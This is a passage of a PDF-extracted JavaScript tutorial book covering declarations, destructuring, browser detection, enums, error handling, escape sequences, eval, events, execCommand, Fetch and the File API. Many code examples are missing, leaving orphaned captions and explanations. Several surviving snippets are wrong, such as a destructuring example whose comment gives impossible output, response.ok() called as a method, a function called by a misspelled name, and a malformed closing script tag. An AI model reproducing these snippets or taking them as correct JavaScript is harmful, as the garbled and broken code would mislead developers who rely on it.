(the get name part) will read the value from there. Now we have a fully functional object with
debugging functionality.
Most of the time, though, the object that gets changed is not under our control. Fortunately, we
can define setters and getters on existing objects to debug them.
// First, save the name to _name, because we are going to use name for setter/getter
otherObject._name = otherObject.name;
For named (non-anonymous) functions, you can break when the function is executed.
debug(functionName);
The next time functionName function runs, the debugger will stop on its first line.
https://riptutorial.com/ 231
In many environments, you have access to a global console object that contains some basic
methods for communicating with standard output devices. Most commonly, this will be the
browser's JavaScript console (see Chrome, Firefox, Safari, and Edge for more information).
// You can also log any variable that exist in the same scope
var arr = [1, 2, 3];
console.log(arr.length, this);
You can use different console methods to highlight your output in different ways. Other methods
are also useful for more advanced debugging.
For more documentation, information on compatibility, and instructions on how to open your
browser's console, see the Console topic.
Note: if you need to support IE9, either remove console.log or wrap its calls as follows, because
console is undefined until the Developer Tools are opened:
https://riptutorial.com/ 232
www.dbooks.org
Chapter 35: Declarations and Assignments
Syntax
• var foo [= value [, foo2 [, foo3 ... [, fooN]]]];
• let bar [= value [, bar2 [, foo3 ... [, barN]]]];
• const baz = value [, baz2 = value2 [, ... [, bazN = valueN]]];
Remarks
See also:
• Reserved Keywords
• Scope
Examples
Reassigning constants
Prints:
Modifying constants
Declaring a variable const only prevents its value from being replaced by a new value. const does
not put any restrictions on the internal state of an object. The following example shows that a
value of a property of a const object can be changed, and even new properties can be added,
because the object that is assigned to person is modified, but not replaced.
const person = {
name: "John"
};
console.log('The name of the person is', person.name);
person.name = "Steve";
console.log('The name of the person is', person.name);
person.surname = "Fox";
console.log('The name of the person is', person.name, 'and the surname is', person.surname);
https://riptutorial.com/ 233
Result:
In this example we've created constant object called person and we've reassigned person.name
property and created new person.surname property.
Important
You must declare and initialize a constant in the same statement.
Declaration
There are four principle ways to declare a variable in JavaScript: using the var, let or const
keywords, or without a keyword at all ("bare" declaration). The method used determines the
resulting scope of the variable, or reassignability in the case of const.
Keep in mind that you can't declare constants without initializing them at the same time.
(An example of keyword-less variable declaration is not included above for technical reasons.
Continue reading to see an example.)
Data Types
JavaScript variables can hold many data types: numbers, strings, arrays, objects and more:
// Number
https://riptutorial.com/ 234
www.dbooks.org
var length = 16;
// String
var message = "Hello, World!";
// Array
var carNames = ['Chevrolet', 'Nissan', 'BMW'];
// Object
var person = {
firstName: "John",
lastName: "Doe"
};
JavaScript has dynamic types. This means that the same variable can be used as different types:
var a; // a is undefined
var a = 5; // a is a Number
var a = "John"; // a is a String
Undefined
var a;
Trying to retrieve the value of undeclared variables results in a ReferenceError. However, both the
type of undeclared and unitialized variables is "undefined":
var a;
console.log(typeof a === "undefined"); // logs: true
console.log(typeof variableDoesNotExist === "undefined"); // logs: true
Assignment
a = 6;
b = "Foo";
var a = 6;
let b = "Foo";
It is in this syntax that global variables may be declared without a keyword; if one were to declare
a bare variable without an assignment immediately afterword, the interpreter would not be able to
differentiate global declarations a; from references to variables a;.
https://riptutorial.com/ 235
c = 5;
c = "Now the value is a String.";
myNewGlobal; // ReferenceError
Note, however, that the above syntax is generally discouraged and is not strict-mode compliant.
This is to avoid the scenario in which a programmer inadvertently drops a let or var keyword from
their statement, accidentally creating a variable in the global namespace without realizing it. This
can pollute the global namespace and conflict with libraries and the proper functioning of a script.
Therefore global variables should be declared and initialized using the var keyword in the context
of the window object, instead, so that the intent is explicitly stated.
Additionally, variables may be declared several at a time by separating each declaration (and
optional value assignment) with a comma. Using this syntax, the var and let keywords need only
be used once at the beginning of each statement.
Notice in the preceding code snippet that the order in which declaration and assignment
expressions occur (var a, b, c = 2, d;) does not matter. You may freely intermix the two.
Increment by
var a = 9,
b = 3;
b += a;
b will now be 12
b = b + a;
Decrement by
var a = 9,
b = 3;
b -= a;
b will now be 6
https://riptutorial.com/ 236
www.dbooks.org
This is functionally the same as
b = b - a;
Multiply by
var a = 5,
b = 3;
b *= a;
b will now be 15
b = b * a;
Divide by
var a = 3,
b = 15;
b /= a;
b will now be 5
b = b / a;
var a = 3,
b = 15;
b **= a;
b = b ** a;
https://riptutorial.com/ 237
Chapter 36: Destructuring assignment
Introduction
Destructuring is a pattern matching technique that is added to Javascript recently in EcmaScript
6.
It allows you to bind a group of variables to a corresponding set of values when their pattern
matches to the right hand-side and the left hand-side of the expression.
Syntax
• let [x, y] = [1, 2]
• let [first, ...rest] = [1, 2, 3, 4]
• let [one, , three] = [1, 2, 3]
• let [val='default value'] = []
• let {a, b} = {a: x, b: y}
• let {a: {c}} = {a: {c: 'nested'}, b: y}
• let {b='default value'} = {a: 0}
Remarks
Destructuring is new in the ECMAScript 6 (A.K.A ES2015) specification and browser support may
be limited. The following table gives an overview of the earliest version of browsers that supported
>75% of the specification.
49 13 45 x 36 x
Examples
Destructuring function arguments
Pull properties from an object passed into a function. This pattern simulates named parameters
instead of relying on argument position.
let user = {
name: 'Jill',
age: 33,
profession: 'Pilot'
}
https://riptutorial.com/ 238
www.dbooks.org
function greeting ({name, profession}) {
console.log(`Hello, ${name} the ${profession}`)
}
greeting(user)
Destructuring allows us to refer to one key in an object, but declare it as a variable with a different
name. The syntax looks like the key-value syntax for a normal JavaScript object.
let user = {
name: 'John Smith',
id: 10,
email: 'johns@workcorp.com',
};
Destructuring Arrays
We can set default value in destructuring array, see the example of Default Value While
Destructuring.
var a = 1;
var b = 3;
[a, , b] = [1, 2, 3] // a = 1, b = 3
https://riptutorial.com/ 239
Destructuring Objects
Basic syntax:
let person = {
name: 'Bob',
age: 25
};
// Is equivalent to
let name = person.name; // 'Bob'
let age = person.age; // 25
let person = {
name: 'Bob',
age: 25
};
// Is equivalent to
let firstName = person.name; // 'Bob'
let person = {
name: 'Bob',
age: 25
};
// Is equivalent to
let phone = person.hasOwnProperty('phone') ? person.phone : '123-456-789'; // '123-456-789'
let person = {
name: 'Bob',
age: 25
};
// Is equivalent to
let p = person.hasOwnProperty('phone') ? person.phone : '123-456-789'; // '123-456-789'
https://riptutorial.com/ 240
www.dbooks.org
Destructuring inside variables
Aside from destructuring objects into function arguments, you can use them inside variable
declarations as follows:
const person = {
name: 'John Doe',
age: 45,
location: 'Paris, France',
};
console.log('I am ' + name + ', aged ' + age + ' and living in ' + location + '.');
// -> "I am John Doe aged 45 and living in Paris, France."
As you can see, three new variables were created: name, age and location and their values were
grabbed from the object person if they matched key names.
If you ever need an array that consists of extra arguments that you may or may not expect to
have, apart from the ones you specifically declared, you can use the array rest parameter inside
the arguments declaration as follows:
function printArgs(...myArguments) {
console.log(myArguments, Array.isArray(myArguments));
}
The console printed true because myArguments is an Array, also, the ...myArguments inside the
parameters arguments declaration converts a list of values obtained by the function (parameters)
separated by commas into a fully functional array (and not an Array-like object like the native
arguments object).
We often encounter a situation where a property we're trying to extract doesn't exist in the
https://riptutorial.com/ 241
object/array, resulting in a TypeError (while destructuring nested objects) or being set to undefined.
While destructuring we can set a default value, which it will fallback to, in case of it not being found
in the object.
Nested Destructuring
var obj = {
a: {
c: 1,
d: 3
},
b: 2
};
var {
a: {
c: x,
d: y
},
b: z
} = obj;
console.log(a, b, c, d); // 1 3 4 5
Destructuring is not just limited to a single pattern, we can have arrays in it, with n-levels of
nesting. Similarly we can destructure arrays with objects and vice-versa.
var obj = {
a: 1,
b: [2, 3]
};
https://riptutorial.com/ 242
www.dbooks.org
var {
a: x1,
b: [x2, x3]
} = obj;
https://riptutorial.com/ 243
Chapter 37: Detecting browser
Introduction
Browsers, as they have evolved, offered more features to Javascript. But often these features are
not available in all browsers. Sometimes they may be available in one browser, but yet to be
released on other browsers. Other times, these features are implemented differently by different
browsers. Browser detection becomes important to ensure that the application you develop runs
smoothly across different browsers and devices.
Remarks
Use feature detection when possible.
There are some reasons to use browser detection (e.g. Giving a user directions on how to install a
browser plugin or clear their cache), but generally feature detection is considered best practice. If
you are using browser detection be sure that it is absolutely nesesary.
Modernizr is a popular, lightweight JavaScript library that makes feature detection easy.
Examples
Feature Detection Method
This method looks for the existence of browser specific things. This would be more difficult to
spoof, but is not guaranteed to be future proof.
// Opera 8.0+
var isOpera = (!!window.opr && !!opr.addons) || !!window.opera ||
navigator.userAgent.indexOf(' OPR/') >= 0;
// Firefox 1.0+
var isFirefox = typeof InstallTrigger !== 'undefined';
// Edge 20+
var isEdge = !isIE && !!window.StyleMedia;
// Chrome 1+
var isChrome = !!window.chrome && !!window.chrome.webstore;
https://riptutorial.com/ 244
www.dbooks.org
Successfully tested in:
• Firefox 0.8 - 44
• Chrome 1.0 - 48
• Opera 8.0 - 34
• Safari 3.0 - 9.0.3
• IE 6 - 11
• Edge - 20-25
Credit to Rob W
Library Method
An easier approach for some would be to use an existing JavaScript library. This is because it can
be tricky to guarantee browser detection is correct, so it can make sense to use a working solution
if one is available.
Usage example:
This method gets the user agent and parses it to find the browser. The browser name and version
are extracted from the user agent through a regex. Based on these two, the <browser name>
<version> is returned.
The four conditional blocks following the user agent matching code are meant to account for
differences in the user agents of different browsers. For example, in case of opera, since it uses
Chrome rendering engine, there is an additional step of ignoring that part.
navigator.sayswho= (function(){
var ua= navigator.userAgent, tem,
M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
https://riptutorial.com/ 245
if(/trident/i.test(M[1])){
tem= /\brv[ :]+(\d+)/g.exec(ua) || [];
return 'IE '+(tem[1] || '');
}
if(M[1]=== 'Chrome'){
tem= ua.match(/\b(OPR|Edge)\/(\d+)/);
if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera');
}
M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]);
return M.join(' ');
})();
Credit to kennebec
https://riptutorial.com/ 246
www.dbooks.org
Chapter 38: Enumerations
Remarks
In computer programming, an enumerated type (also called enumeration or enum [..])
is a data type consisting of a set of named values called elements, members or
enumerators of the type. The enumerator names are usually identifiers that behave as
constants in the language. A variable that has been declared as having an enumerated
type can be assigned any of the enumerators as a value.
JavaScript is weakly typed, variables are not declared with a type beforehand and it does not have
a native enum data type. Examples provided here may include different ways to simulate
enumerators, alternatives and possible trade-offs.
Examples
Enum definition using Object.freeze()
5.1
JavaScript does not directly support enumerators but the functionality of an enum can be
mimicked.
case TestEnum.Two:
console.log("222");
}
After that you can define a variable and print like before.
https://riptutorial.com/ 247
Alternate definition
The Object.freeze() method is available since version 5.1. For older versions, you can use the
following code (note that it also works in versions 5.1 and later):
var ColorsEnum = {
WHITE: 0,
GRAY: 1,
BLACK: 2
}
// Define a variable with a value from the enum
var currentColor = ColorsEnum.GRAY;
After defining an enum using any of the above ways and setting a variable, you can print both the
variable's value as well as the corresponding name from the enum for the value. Here's an
example:
As ES6 introduced Symbols, which are both unique and immutable primitive values that may
be used as the key of an Object property, instead of using strings as possible values for an enum,
it's possible to use symbols.
// Simple symbol
const newSymbol = Symbol();
typeof newSymbol === 'symbol' // true
https://riptutorial.com/ 248
www.dbooks.org
function describe(kingdom) {
switch(kingdom) {
case Regnum_Animale:
return "Animal kingdom";
case Regnum_Vegetabile:
return "Vegetable kingdom";
case Regnum_Lapideum:
return "Mineral kingdom";
}
describe(Regnum_Vegetabile);
// Vegetable kingdom
The Symbols in ECMAScript 6 article covers this new primitive type more in detail.
5.1
This Example demonstrates how to automatically assign a value to each entry in an enum list.
This will prevent two enums from having the same value by mistake. NOTE: Object.freeze browser
support
var x = testEnum.Two;
switch(x) {
case testEnum.One:
console.log("111");
break;
case testEnum.Two:
console.log("222"); // 222 will be logged
break;
}
https://riptutorial.com/ 249
Read Enumerations online: https://riptutorial.com/javascript/topic/2625/enumerations
https://riptutorial.com/ 250
www.dbooks.org
Chapter 39: Error Handling
Syntax
• try { … } catch (error) { … }
• try { … } finally { … }
• try { … } catch (error) { … } finally { … }
• throw new Error([message]);
• throw Error([message]);
Remarks
try allows you to define a block of code to be tested for errors while it is being executed.
catch allows you to define a block of code to be executed, if an error occurs in the try block.
finally lets you execute code regardless of the result. Beware though, the control flow statements
of try and catch blocks will be suspended until the execution of the finally block finishes.
Examples
Interaction with Promises
Exceptions are to synchronous code what rejections are to promise-based asynchronous code. If
an exception is thrown in a promise handler, its error will be automatically caught and used to
reject the promise instead.
Promise.resolve(5)
.then(result => {
throw new Error("I don't like five");
})
.then(result => {
console.info("Promise resolved: " + result);
})
.catch(error => {
console.error("Promise rejected: " + error);
});
https://riptutorial.com/ 251
opposite direction. If you await a rejected promise, its error is raised as an exception:
Error objects
Runtime errors in JavaScript are instances of the Error object. The Error object can also be used
as-is, or as the base for user-defined exceptions. It's possible to throw any type of value - for
example, strings - but you're strongly encouraged to use Error or one of it's derivatives to ensure
that debugging information -- such as stack traces -- is correctly preserved.
The first parameter to the Error constructor is the human-readable error message. You should try
to always specify a useful error message of what went wrong, even if additional information can be
found elsewhere.
try {
throw new Error('Useful message');
} catch (error) {
console.log('Something went wrong! ' + error.message);
}
Without a try catch block, undefined functions will throw errors and stop execution:
You need a try catch block, similar to other languages, to ensure you catch that error so code can
continue to execute:
try {
undefinedFunction("This will not get executed");
} catch(error) {
console.log("An error occured!", error);
https://riptutorial.com/ 252
www.dbooks.org
} finally {
console.log("The code-block has finished");
}
console.log("I will run because we caught the error!");
Now, we've caught the error and can be sure that our code is going to execute
try {
undefinedFunction("This will not get executed");
} catch(error) {
otherUndefinedFunction("Uh oh... ");
console.log("An error occured!", error);
} finally {
console.log("The code-block has finished");
}
console.log("I won't run because of the uncaught error in the catch block!");
We won't process the rest of our catch block, and execution will halt except for the finally block.
You could always nest your try catch blocks.. but you shouldn't because that will get extremely
messy..
try {
undefinedFunction("This will not get executed");
} catch(error) {
try {
otherUndefinedFunction("Uh oh... ");
} catch(error2) {
console.log("Too much nesting is bad for my heart and soul...");
}
console.log("An error occured!", error);
} finally {
console.log("The code-block has finished");
}
console.log("I will run because we caught the error!");
Will catch all errors from the previous example and log the following:
So, how can we catch all errors!? For undefined variables and functions: you can't.
https://riptutorial.com/ 253
Also, you shouldn't wrap every variable and function in a try/catch block, because these are simple
examples that will only ever occur once until you fix them. However, for objects, functions and
other variables that you know exist, but you don't know whether their properties or sub-processes
or side-effects will exist, or you expect some error states in some circumstances, you should
abstract your error handling in some sort of manner. Here is a very basic example and
implementation.
function foo(a, b, c) {
console.log(a, b, c);
throw new Error("custom error!");
}
try {
foo(1, 2, 3);
} catch(e) {
try {
foo(4, 5, 6);
} catch(e2) {
console.log("We had to nest because there's currently no other way...");
}
console.log(e);
}
// 1 2 3
// 4 5 6
// We had to nest because there's currently no other way...
// Error: custom error!(…)
function foo(a, b, c) {
console.log(a, b, c);
throw new Error("custom error!");
}
function protectedFunction(fn, ...args) {
try {
fn.apply(this, args);
} catch (e) {
console.log("caught error: " + e.name + " -> " + e.message);
}
}
protectedFunction(foo, 1, 2, 3);
protectedFunction(foo, 4, 5, 6);
// 1 2 3
// caught error: Error -> custom error!
// 4 5 6
// caught error: Error -> custom error!
We catch errors and still process all the expected code, though with a somewhat different syntax.
Either way will work, but as you build more advanced applications you will want to start thinking
about ways to abstract your error handling.
Error types
https://riptutorial.com/ 254
www.dbooks.org
There are six specific core error constructors in JavaScript:
• EvalError - creates an instance representing an error that occurs regarding the global
function eval().
• InternalError- creates an instance representing an error that occurs when an internal error
in the JavaScript engine is thrown. E.g. "too much recursion". (Supported only by Mozilla
Firefox)
• RangeError- creates an instance representing an error that occurs when a numeric variable
or parameter is outside of its valid range.
• SyntaxError - creates an instance representing a syntax error that occurs while parsing code
in eval().
If you are implementing error handling mechanism you can check which kind of error you are
catching from code.
try {
throw new TypeError();
}
catch (e){
if(e instanceof Error){
console.log('instance of general Error constructor');
}
In such case e will be an instance of TypeError. All error types extend the base constructor Error,
therefore it's also an instance of Error.
Keeping that in mind shows us that checking e to be an instance of Error is useless in most cases.
https://riptutorial.com/ 255
Chapter 40: Escape Sequences
Remarks
Not everything that starts with a backslash is an escape sequence. Many characters are just not
useful to escape sequences, and will simply cause a preceding backslash to be ignored.
On the other hand, some characters like "u" and "x" will cause a syntax error when used
improperly after a backslash. The following is not a valid string literal because it contains the
Unicode escape sequence prefix \u followed by a character that is not a valid hexadecimal digit
nor a curly brace:
"C:\Windows\System32\updatehandlers.dll" // SyntaxError
A backslash at the end of a line inside a string does not introduce an escape sequence, but
indicates line continuation, i.e.
"contin\
uation" === "continuation" // true
Examples
Entering special characters in strings and regular expressions
Most printable characters can be included in string or regular expression literals just as they are,
e.g.
In order to add arbitrary characters to a string or regular expression, including non-printable ones,
one has to use escape sequences. Escape sequences consist of a backslash ("\") followed by one
or more other characters. To write an escape sequence for a particular character, one typically
(but not always) needs to know its hexadecimal character code.
https://riptutorial.com/ 256
www.dbooks.org
JavaScript provides a number of different ways to specify escape sequences, as documented in
the examples in this topic. For instance, the following escape sequences all denote the same
character: the line feed (Unix newline character), with character code U+000A.
• \n
• \x0a
• \u000a
• \u{a} new in ES6, only in strings
• \012 forbidden in string literals in strict mode and in template strings
• \cj only in regular expressions
Additionally, the sequence \0, when not followed by a digit between 0 and 7, can be used to
escape the null character (U+0000).
The sequences \\, \' and \" are used to escape the character that follows the backslash. While
similar to non-escape sequences, where the leading backslash is simply ignored (i.e. \? for ?),
they are explicitly treated as single character escape sequences inside strings as per the
specification.
https://riptutorial.com/ 257
character has code 160 or A0 in base 16, and so it can be written as \xa0.
var str = "ONE\xa0LINE"; // ONE and LINE with a non-breaking space between them
For hex digits above 9, the letters a to f are used, in lowercase or uppercase without distinction.
var regExp1 = /[\x00-xff]/; // matches any character between U+0000 and U+00FF
var regExp2 = /[\x00-xFF]/; // same as above
For example, the Unicode standard defines the right arrow character ("→") with the number 8594,
or 2192 in hexadecimal format. So an escape sequence for it would be \u2192.
For hex digits above 9, the letters a to f are used, in lowercase or uppercase without distinction.
Hexadecimal codes shorter than 4 digits must be left-padded with zeros: \u007A for the small letter
"z".
ES6 extends Unicode support to the full code range from 0 to 0x10FFFF. In order to escape
characters with code greater than 216 - 1, a new syntax for escape sequences was introduced:
\u{???}
Where the code in curly braces is hexadecimal representation of the code point value, e.g.
In the example above, the code 1f440 is the hexadecimal representation of the character code of
the Unicode Character Eyes.
Note that the code in curly braces may contain any number of hex digits, as long the value does
not exceed 0x10FFFF. For hex digits above 9, the letters a to f are used, in lowercase or
uppercase without distinction.
https://riptutorial.com/ 258
www.dbooks.org
Unicode escape sequences with curly braces only work inside strings, not inside regular
expressions!
For example, the capital letter "E" has character code 69, or 105 in base 8. So it can be
represented with the escape sequence \105:
In strict mode, octal escape sequences are not allowed inside strings and will produce a syntax
error. It is worth to note that \0, unlike \00 or \000, is not considered an octal escape sequence,
and is thus still allowed inside strings (even template strings) in strict mode.
`/\cG/`
The letter "G" (the 7th letter in the alphabet) refers to the character U+0007, and thus
`/\cG`/.test(String.fromCharCode(7)); // true
https://riptutorial.com/ 259
Chapter 41: Evaluating JavaScript
Introduction
In JavaScript, the eval function evaluates a string as if it were JavaScript code. The return value is
the result of the evaluated string, e.g. eval('2 + 2') returns 4.
evalis available in the global scope. The lexical scope of the evaluation is the local scope unless
invoked indirectly (e.g. var geval = eval; geval(s);).
The use of eval is strongly discouraged. See the Remarks section for details.
Syntax
• eval(string);
Parameters
Parameter Details
Remarks
The use of eval is strongly discouraged; in many scenarios it presents a security
vulnerability.
eval() is a dangerous function, which executes the code it's passed with the privileges
of the caller. If you run eval() with a string that could be affected by a malicious party,
you may end up running malicious code on the user's machine with the permissions of
your webpage / extension. More importantly, third party code can see the scope in
which eval() was invoked, which can lead to possible attacks in ways to which the
similar Function is not susceptible.
Additionally:
Examples
Introduction
https://riptutorial.com/ 260
www.dbooks.org
You can always run JavaScript from inside itself, although this is strongly discouraged due to the
security vulnerabilities it presents (see Remarks for details).
To run JavaScript from inside JavaScript, simply use the below function:
You can set a variable to something with the eval() function by using something similar to the
below code:
var x = 10;
var y = 20;
var a = eval("x * y") + "<br>";
var b = eval("2 + 2") + "<br>";
var c = eval("x + 17") + "<br>";
var res = a + b + c;
200
4
27
The use of eval is strongly discouraged. See the Remarks section for details.
var x = 5;
var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; ";
The use of eval is strongly discouraged. See the Remarks section for details.
https://riptutorial.com/ 261
Chapter 42: Events
Examples
Page, DOM and Browser loading
1. onload event
<body onload="someFunction()">
<img src="image1" />
<img src="image2" />
</body>
<script>
function someFunction() {
console.log("Hi! I am loaded");
}
</script>
In this case, the message is logged once all the contents of the page including the images and
stylesheets(if any) are completely loaded.
2. DOMContentLoaded event
document.addEventListener("DOMContentLoaded", function(event) {
console.log("Hello! I am loaded");
});
In the above code, the message is logged only after the DOM/document is loaded (ie:once the
DOM is constructed).
(function(){
console.log("Hi I am an anonymous function! I am loaded");
})();
Here, the message gets logged as soon as the browser interprets the anonymous function. It
means, this function can get executed even before the DOM is loaded.
https://riptutorial.com/ 262
www.dbooks.org
Chapter 43: execCommand and
contenteditable
Syntax
• bool supported = document.execCommand(commandName, showDefaultUI,
valueArgument)
Parameters
commandId value
bold
strikeThrough
superscript
unlink
delete
"address", "dd", "div", "dt", "h1", "h2", "h3", "h4", "h5", "h6", "p",
formatBlock
"pre"
forwardDelete
insertHorizontalRule
https://riptutorial.com/ 263
commandId value
insertLineBreak
insertOrderedList
insertParagraph
insertUnorderedList
justifyCenter
justifyFull
justifyLeft
justifyRight
outdent
⋮ Clipboard commands
paste
⋮ Miscellaneous commands
defaultParagraphSeparator
redo
selectAll
styleWithCSS
undo
useCSS
Examples
Formatting
Users can add formatting to contenteditable documents or elements using their browser's features,
such as common keyboard shortcuts for formatting (Ctrl-B for bold, Ctrl-I for italic, etc.) or by
https://riptutorial.com/ 264
www.dbooks.org
dragging and dropping images, links, or markup from the clipboard.
Additionally, developers can use JavaScript to apply formatting to the current selection
(highlighted text).
Events that work with most form elements (e.g., change, keydown, keyup, keypress) do not work with
contenteditable.
Instead, you can listen to changes of contenteditable contents with the input event. Assuming
contenteditableHtmlElement is a JS DOM object that is contenteditable:
contenteditableHtmlElement.addEventListener("input", function() {
console.log("contenteditable element changed");
});
Getting started
The HTML attribute contenteditable provides a simple way to turn a HTML element into a user-
editable area
Using JavaScript and execCommandW3C you can additionally pass more editing features to the
currently focused contenteditable element (specifically at the caret position or selection).
Example using the "bold" command and "formatBlock" (where a value is expected):
https://riptutorial.com/ 265
<button data-edit="bold"><b>B</b></button>
<button data-edit="italic"><i>I</i></button>
<button data-edit="formatBlock:p">P</button>
<button data-edit="formatBlock:H1">H1</button>
<button data-edit="insertUnorderedList">UL</button>
<button data-edit="justifyLeft">⇤</button>
<button data-edit="justifyRight">⇥</button>
<button data-edit="removeFormat">×</button>
<script>
[].forEach.call(document.querySelectorAll("[data-edit]"), function(btn) {
btn.addEventListener("click", edit, false);
});
function edit(event) {
event.preventDefault();
var cmd_val = this.dataset.edit.split(":");
document.execCommand(cmd_val[0], false, cmd_val[1]);
}
<script>
jsFiddle demo
Basic Rich-Text editor example (Modern browsers)
Final thoughts
Even being present for a long time (IE6), implementations and behaviors of execCommand vary from
browser to browser making "building a Fully-featured and cross-browser compatible WYSIWYG
editor" a hard task to any experienced JavaScript developer.
Even if not yet fully standardized you can expect pretty decent results on the newer browsers like
Chrome, Firefox, Edge. If you need better support for other browsers and more features like
HTMLTable editing etc. a rule of thumbs is to look for an already existent and robust Rich-Text
editor.
Example:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<textarea id="content"></textarea>
<input type="button" id="copyID" value="Copy" />
<script type="text/javascript">
var button = document.getElementById("copyID"),
input = document.getElementById("content");
button.addEventListener("click", function(event) {
event.preventDefault();
input.select();
document.execCommand("copy");
https://riptutorial.com/ 266
www.dbooks.org
});
</script>
</body>
</html>
https://riptutorial.com/ 267
Chapter 44: Fetch
Syntax
• promise = fetch(url).then(function(response) {})
• promise = fetch(url, options)
• promise = fetch(request)
Parameters
Options Details
The HTTP method to use for the request. ex: GET, POST, PUT, DELETE, HEAD.
method
Defaults to GET.
headers A Headers object containing additional HTTP headers to include in the request.
body The request payload, can be a string or a FormData object. Defaults to undefined
Remarks
The Fetch standard defines requests, responses, and the process that binds them: fetching.
Among other interfaces, the standard defines Request and Response Objects, designed to be used
for all operations involving network requests.
A useful application of these interfaces is GlobalFetch, which can be used to load remote
resources.
For browsers that do not yet support the Fetch standard, GitHub has a polyfill available. In
addition, there is also a Node.js implementation that is useful for server/client consistency.
In the absence of cancelable Promises you can't abort the fetch request (github issue). But there
is a proposal by the T39 in stage 1 for cancelable promises.
https://riptutorial.com/ 268
www.dbooks.org
Examples
GlobalFetch
The GlobalFetch interface exposes the fetch function, which can be used to request resources.
fetch('/path/to/resource.json')
.then(response => {
if (!response.ok()) {
throw new Error("Request failed!");
}
return response.json();
})
.then(json => {
console.log(json);
});
The resolved value is a Response Object. This Object contains the body of the response, as well
as it's status and headers.
fetch('/example.json', {
headers: new Headers({
'Accept': 'text/plain',
'X-Your-Custom-Header': 'example value'
})
});
POST Data
fetch(`/example/submit`, {
method: 'POST',
body: new FormData(document.getElementById('example-form'))
});
fetch(`/example/submit.json`, {
method: 'POST',
body: JSON.stringify({
email: document.getElementById('example-email').value,
comment: document.getElementById('example-comment').value
})
});
Send cookies
https://riptutorial.com/ 269
The fetch function does not send cookies by default. There are two possible ways to send cookies:
1. Only send cookies if the URL is on the same origin as the calling script.
fetch('/login', {
credentials: 'same-origin'
})
fetch('https://otherdomain.com/login', {
credentials: 'include'
})
const url =
'http://api.stackexchange.com/2.2/questions?site=stackoverflow&tagged=javascript';
https://riptutorial.com/ 270
www.dbooks.org
Chapter 45: File API, Blobs and FileReaders
Syntax
• reader = new FileReader();
Parameters
Property/Method Description
readAsText(blob[, Starts reading the file as a text file. Not able to read binary files.
encoding]) Use readAsArrayBuffer instead.
Remarks
https://www.w3.org/TR/FileAPI/
Examples
Read file as string
https://riptutorial.com/ 271
Make sure to have a file input on your page:
Then in JavaScript:
document.getElementById('upload').addEventListener('change', readFileAsString)
function readFileAsString() {
var files = this.files;
if (files.length === 0) {
console.log('No file is selected');
return;
}
Reading the contents of a file within a web application can be accomplished by utilizing the
HTML5 File API. First, add an input with type="file" in your HTML:
Next, we're going to add a change listener on the file-input. This examples defines the listener via
JavaScript, but it could also be added as attribute on the input element. This listener gets triggered
every time a new file has been selected. Within this callback, we can read the file that was
selected and perform further actions (like creating an image with the contents of the selected file):
document.getElementById('upload').addEventListener('change', showImage);
function showImage(evt) {
var files = evt.target.files;
if (files.length === 0) {
console.log('No files selected');
return;
}
https://riptutorial.com/ 272
www.dbooks.org
Slice a file
The blob.slice() method is used to create a new Blob object containing the data in the specified
range of bytes of the source Blob. This method is usable with File instances too, since File
extends Blob.
Here we slice a file in a specific amount of blobs. This is useful especially in cases where you
need to process files that are too large to read in memory all in once. We can then read the
chunks one by one using FileReader.
/**
* @param {File|Blob} - file to slice
* @param {Number} - chunksAmount
* @return {Array} - an array of Blobs
**/
function sliceFile(file, chunksAmount) {
var byteIndex = 0;
var chunks = [];
return chunks;
}
function downloadCsv() {
var blob = new Blob([csvString]);
if (window.navigator.msSaveOrOpenBlob){
window.navigator.msSaveBlob(blob, "filename.csv");
}
else {
var a = window.document.createElement("a");
a.href = window.URL.createObjectURL(blob, {
type: "text/plain"
});
a.download = "filename.csv";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
}
}
var string = "a1,a2,a3";
downloadCSV(string);
https://riptutorial.com/ 273
The HTML5 file API allows you to restrict which kind of files are accepted by simply setting the
accept attribute on a file input, e.g.:
By default, the file input lets the user select a single file. If you want to enable multiple file
selection, simply add the multiple attribute:
You can then read all the selected files via the file input's files array. See read file as dataUrl
If you want to get the properties of the file (like the name or the size) you can do it before using the
File Reader. If we have the following html piece of code:
document.getElementById('newFile').addEventListener('change', getFile);
function getFile(event) {
var files = event.target.files
, file = files[0];
You can also get easily the following attributes: lastModified (Timestamp), lastModifiedDate (Date),
and type (File Type)
https://riptutorial.com/ 274
www.dbooks.org
Chapter 46: Fluent API
Introduction
Javascript is great for designing fluent API - a consumer-oriented API with focus on developer
experience. Combine with language dynamic features for optimal results.
Examples
Fluent API capturing construction of HTML articles with JS
class Item {
constructor(text, type) {
this.text = text;
this.emphasis = false;
this.type = type;
}
toHtml() {
return `<${this.type}>${this.emphasis ? '<em>' : ''}${this.text}${this.emphasis ?
'</em>' : ''}</${this.type}>`;
}
}
class Section {
constructor(header, paragraphs) {
this.header = header;
this.paragraphs = paragraphs;
}
toHtml() {
return `<section><h2>${this.header}</h2>${this.paragraphs.map(p =>
p.toHtml()).join('')}</section>`;
}
}
class List {
constructor(text, items) {
this.text = text;
this.items = items;
}
toHtml() {
return `<ol><h2>${this.text}</h2>${this.items.map(i => i.toHtml()).join('')}</ol>`;
}
}
class Article {
constructor(topic) {
this.topic = topic;
this.sections = [];
this.lists = [];
https://riptutorial.com/ 275
}
section(text) {
const section = new Section(text, []);
this.sections.push(section);
this.lastSection = section;
return this;
}
list(text) {
const list = new List(text, []);
this.lists.push(list);
this.lastList = list;
return this;
}
addParagraph(text) {
const paragraph = new Item(text, 'p');
this.lastSection.paragraphs.push(paragraph);
this.lastItem = paragraph;
return this;
}
addListItem(text) {
const listItem = new Item(text, 'li');
this.lastList.items.push(listItem);
this.lastItem = listItem;
return this;
}
withEmphasis() {
this.lastItem.emphasis = true;
return this;
}
toHtml() {
return `<article><h1>${this.topic}</h1>${this.sections.map(s =>
s.toHtml()).join('')}${this.lists.map(l => l.toHtml()).join('')}</article>`;
}
}
This allows the consumer of the API to have a nice-looking article construction, almost a DSL for
this purpose, using plain JS:
const articles = [
Article.withTopic('Artificial Intelligence - Overview')
.section('What is Artificial Intelligence?')
.addParagraph('Something something')
.addParagraph('Lorem ipsum')
